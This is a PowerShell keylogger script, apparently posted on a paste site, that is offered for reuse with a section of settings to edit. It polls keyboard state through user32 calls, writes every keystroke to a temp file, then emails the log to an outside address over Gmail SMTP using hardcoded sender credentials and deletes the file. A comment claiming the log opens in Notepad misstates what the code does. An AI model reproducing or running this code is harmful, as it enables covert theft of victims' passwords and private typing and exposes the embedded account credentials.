· 6 years ago · Mar 06, 2020, 11:18 PM
1 SIMPLE KEYLOGGER
2-----------------------------------------------------------------------------
3=============================================================================
4
5
6# Editar solo esta sección!
7$TimeToRun = 2
8$From = "smitjhonne82@gmail.com"
9$Pass = "/123456*"
10$To = "cesarneron2020@outlook.com"
11$Subject = "Keylogger Results"
12$body = "Keylogger Results"
13$SMTPServer = "smtp.gmail.com"
14$SMTPPort = "587"
15$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
16############################
17
18
19$TimeStart = Get-Date
20$TimeEnd = $timeStart.addminutes($TimeToRun)
21
22#requires -Version 2
23function Start-KeyLogger($Path="$env:temp\keylogger.txt")
24{
25 # Signatures for API Calls
26 $signatures = @'
27[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
28public static extern short GetAsyncKeyState(int virtualKeyCode);
29[DllImport("user32.dll", CharSet=CharSet.Auto)]
30public static extern int GetKeyboardState(byte[] keystate);
31[DllImport("user32.dll", CharSet=CharSet.Auto)]
32public static extern int MapVirtualKey(uint uCode, int uMapType);
33[DllImport("user32.dll", CharSet=CharSet.Auto)]
34public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
35'@
36
37 # load signatures and make members available
38 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
39
40 # create output file
41 $null = New-Item -Path $Path -ItemType File -Force
42
43 try
44 {
45
46 # create endless loop. When user presses CTRL+C, finally-block
47 # executes and shows the collected key presses
48 while ($TimeEnd -ge $TimeNow) {
49 Start-Sleep -Milliseconds 40
50
51 # scan all ASCII codes above 8
52 for ($ascii = 9; $ascii -le 254; $ascii++) {
53 # get current key state
54 $state = $API::GetAsyncKeyState($ascii)
55
56 # is key pressed?
57 if ($state -eq -32767) {
58 $null = [console]::CapsLock
59
60 # translate scan code to real code
61 $virtualKey = $API::MapVirtualKey($ascii, 3)
62
63 # get keyboard state for virtual keys
64 $kbstate = New-Object Byte[] 256
65 $checkkbstate = $API::GetKeyboardState($kbstate)
66
67 # prepare a StringBuilder to receive input key
68 $mychar = New-Object -TypeName System.Text.StringBuilder
69
70 # translate virtual key
71 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
72
73 if ($success)
74 {
75 # add key to logger file
76 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
77 }
78 }
79 }
80 $TimeNow = Get-Date
81 }
82 }
83 finally
84 {
85 # open logger file in Notepad
86 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
87 Remove-Item -Path $Path -force
88 exit 1
89 }
90}
91
92# records all key presses until script is aborted by pressing CTRL+C
93# will then open the file with collected key codes
94Start-KeyLogger